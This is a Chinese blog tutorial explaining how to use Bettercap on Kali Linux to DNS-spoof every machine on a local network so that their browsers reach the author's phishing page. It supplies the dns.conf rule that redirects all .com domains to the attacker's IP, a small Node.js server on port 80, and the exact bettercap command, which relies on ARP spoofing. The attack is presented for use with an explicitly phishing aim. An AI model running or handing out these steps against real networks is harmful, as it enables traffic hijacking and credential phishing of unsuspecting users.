• bettercap实现内网Dns欺骗


      目的

      让内网的所有计算机浏览网页的时候, 出现我的钓鱼页面

      准备

      kali系统

      Bettercap

      dns文件

      通过ifconfig查看当前计算机的ip, 我这边为, 192.168.1.150

      创建一个 dns.conf 文件,下面这个dns语句的意思是:所有的.com结尾的网站全部解析到我的本地Http服务器, .*.com就是一个正则,也可以是自定义的正则

    192.168.1.150  .*.com

      本地搭建Http服务器

      使用nodeJS搭建一个简单的服务器, 用apache或者其它工具都可以, 只要能正常访问80端口都ok, 本机使用nodeJS的express框架, 搭建一个简单服务器,访问的时候长这样:

      或者安装完nodeJS环境以后, 搭建一个简易的NodeJS服务器, JS服务代码如下:

      ser.js

    var http = require( 'http' );
    var server =http.createServer( function ( request ,response ){
             response.end( 'Hi' );
    } );
    server.listen( 80 );
    console.log( 'HTTP服务器启动中,端口:80.....' );

      执行 nodejs ser.js

      祭出局域网神器Bettercap

    bettercap -X -I wlan0 --dns dns.conf

      -X指监听, -I指绑定的网卡, --dns指定dns请求的文件

      注意

      Bettercap虽然好用,但是无法对https协议就行DNS欺骗, 客户浏览器https协议的页面的时候, 网页无法正常查看

      因为客户机Arp欺骗了,所以浏览网页的时候会很卡, 这个要非常注意

    作者: NONO
    出处:http://www.cnblogs.com/diligenceday/
    企业网站:http://www.idrwl.com/
    开源博客:http://www.github.com/sqqihao
    QQ:287101329
    微信:18101055830 

    厦门点燃未来网络科技有限公司, 是厦门最好的微信应用, 小程序, 微信网站, 公众号开发公司

  • 相关阅读:
    DS博客作业03--树
    DS博客作业02--栈和队列
    DS博客作业02--线性表
    c博客06-结构体&文件
    c博客作业-指针
    C语言博客作业04--数组
    C语言博客作业03--函数
    图书馆
    5-互评-OO之接口-DAO模式代码阅读及应用.xls
    DS博客作业04--图
  • 原文地址:https://www.cnblogs.com/diligenceday/p/6986900.html
Copyright © 2020-2023  润新知